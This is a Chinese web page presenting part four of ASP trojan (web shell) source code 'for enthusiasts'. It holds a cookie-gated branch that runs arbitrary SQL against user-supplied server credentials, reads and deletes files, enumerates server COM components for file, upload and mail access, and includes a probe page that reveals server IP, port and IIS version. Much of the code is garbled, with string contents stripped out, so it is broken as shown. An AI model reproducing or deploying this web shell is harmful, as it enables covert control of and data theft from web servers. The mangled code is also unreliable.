ASP木马代码（仅供爱好者参考）(4)

 <% 
If (IsObject(oFile)) Then On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) End If %>   <%end if case \
if Request.Cookies(\response.write \
response.write \【返 回】\else 
If trim(request.form(\password= trim(Request.form(\id=trim(Request.form(\
SqlLocalName=trim(Request.form(\
if SqlLocalName=\服务器地址\set adoConn=Server.CreateObject(\
adoConn.Open \Source =\
strQuery = \set recResult = adoConn.Execute(strQuery) If NOT recResult.EOF Then Do While NOT recResult.EOF 
strResult = strResult & chr(13) & recResult(0) recResult.MoveNext Loop End if 
set recResult = Nothing 
strResult = Replace(strResult,\ strResult = Replace(strResult,\ strResult = Replace(strResult,\ 
strResult = Replace(strResult,chr(13),\End if 
set adoConn = Nothing 
%>
 <% 
Response.Write request.form(\Response.Write strResult end if 
case \
Response.Buffer = False 
Dim ObjTotest(26,4) 
ObjTotest(0,0) = \ObjTotest(1,0) = \ObjTotest(2,0) = \ObjTotest(3,0) = \ObjTotest(4,0) = \ObjTotest(5,0) = \ObjTotest(6,0) = \ObjTotest(7,0) = \
ObjTotest(8,0) = \
ObjTotest(9,0) = \ObjTotest(9,1) = \文本文件读写)\ ObjTotest(10,0) = \ObjTotest(10,1) = \数据对象)\ 
ObjTotest(11,0) = \ObjTotest(11,1) = \文件上传)\ObjTotest(12,0) = \ObjTotest(12,1) = \文件管理)\ObjTotest(13,0) = \ObjTotest(13,1) = \刘云峰的文件上传组件)\ObjTotest(14,0) = \
ObjTotest(14,1) = \文件上传)\ObjTotest(15,0) = \
ObjTotest(15,1) = \文件上传)\ObjTotest(16,0) = \
ObjTotest(16,1) = \邮件收发)\ObjTotest(17,0) = \ObjTotest(17,1) = \虚拟 SMTP 发信)\ObjTotest(18,0) = \ObjTotest(18,1) = \发信)\ObjTotest(19,0) = \
ObjTotest(19,1) = \发信)\ObjTotest(20,0) = \ObjTotest(20,1) = \发信)\ObjTotest(21,0) = \ObjTotest(21,1) = \发信)\ ObjTotest(22,0) = \ObjTotest(22,1) = \发信)\ObjTotest(23,0) = \ObjTotest(23,1) = \发信)\ 
ObjTotest(24,0) = \ObjTotest(24,1) = \ 的图像读写组件)\ObjTotest(25,0) = \
ObjTotest(25,1) = \的图像读写组件)\public IsObj,VerObj,TestObj dim i 
for i=0 to 25 
on error resume next IsObj=false VerObj=\'dim TestObj 
TestObj=\
set TestObj=server.CreateObject(ObjTotest(i,0)) If -2147221005 <> Err then IsObj = True 
VerObj = TestObj.version 
if VerObj=\erObj) then VerObj=TestObj.about end if 
ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next 
sub ObjTest(strObj) on error resume next IsObj=false VerObj=\TestObj=\
set TestObj=server.CreateObject (strObj) If -2147221005 <> Err then IsObj = True 
VerObj = TestObj.version 
if VerObj=\erObj) then VerObj=TestObj.about end if End sub %> 
 
 
ASP探针V1.60－阿江http://www.ajiang.net  
  
class=fonts>V1.60

 
是否支持ASP 

出现以下情况即表示您的空间不支持ASP： 
改写的ASP探针-

1、访问本文件时提示下载。 

2、访问本文件时看到类似“<%@ Language=\的文字。 

 
服务器的有关参数 
 
 
 服务器名 <%=Request.ServerVariables(\ 
 服务器IP <%=Request.ServerVariables(\ 
 服务器端口 <%=Request.ServerVariables(\ 
 服务器时间 <%=now%>  
 
IIS版本 
<%=Request.ServerVariables(\ 
 脚本超时时间 <%=Server.ScriptTimeout%> 秒  
 本
文件路径